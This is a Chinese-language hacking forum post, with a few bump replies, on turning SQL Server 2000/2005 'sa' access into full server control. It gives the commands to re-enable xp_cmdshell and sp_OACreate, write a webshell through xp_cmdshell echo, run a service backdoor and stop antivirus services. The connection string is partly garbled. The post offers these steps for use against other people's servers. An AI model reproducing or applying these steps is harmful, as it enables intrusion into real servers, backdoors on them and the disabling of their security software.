SQL2000和SQL2005在SA權限拿最高權限

SQL 2000 / SQL 2005 數據庫

　　當你得到了SA權限時(shí),有些人會(huì )說(shuō)拿不了服務(wù)器的最大權限, 看來(lái)會(huì )不會(huì )是長(cháng)相問(wèn)題?

　　分析如下:

　　ConnString :

　　server=IP;UID=saWD=password;database=masterrovider=SQLOLEDB

　　很多時(shí)候可能會(huì )遇到刪除了'sp_OACreate' 'xp_cmdshell'

　　可以用下面的方法嘗試恢復添加

　　SQL2000:

　　Use master dbcc addextendedproc ('sp_OACreate','odsole70.dll')

　　Use master dbcc addextendedproc ('xp_cmdshell','xplog70.dll')

　　SQL2005:

　　exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;

　　EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

　　在這里,傳說(shuō)中的SQL2005安全性比較高的,在SA權限下顯得更加沒(méi)了地位了!

　　好了,添加好了這些. 此時(shí)就真的要看你的長(cháng)相了..

　　利用什么方法上傳自己的SHELL呢? 網(wǎng)上的方法也一大把.

　　我這里提供一個(gè)比較簡(jiǎn)單的方法:

　　echo寫(xiě)入SEHLL

　　格式如下:

　　Exec master.dbo.xp_cmdshell 'echo 代碼 > name.txt'

　　這個(gè)可要自由發(fā)揮了...

　　關(guān)于如何找路徑,那些就不說(shuō)了,實(shí)在是沒(méi)點(diǎn)技術(shù)含量了.

　　上傳了SHELL,接下來(lái)操作就會(huì )順利一點(diǎn). 傳一些服務(wù)級后門(mén)之類(lèi)的.

　　再次通過(guò)xp_cmdshell 運行后門(mén).

　　此時(shí)你會(huì )遇到很多問(wèn)題,比如你的后門(mén)會(huì )不會(huì )被殺? 服務(wù)器安裝了什么殺軟? 這些都是小問(wèn)題,完全可以通過(guò)相關(guān)的命令讓那些阻撓你的軟件去死.

　　DOS命令,會(huì )吧? 直接STOP那些服務(wù)就OK了!最后運行后門(mén),進(jìn)入你的目標主機!

幫頂了

幫頂了.......

看不懂，不過(guò)分享技術(shù)的帖子都要頂

KANBUDONG